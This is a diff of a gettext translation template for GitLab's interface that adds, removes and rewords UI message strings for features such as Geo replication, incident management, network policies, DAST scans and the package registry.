msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
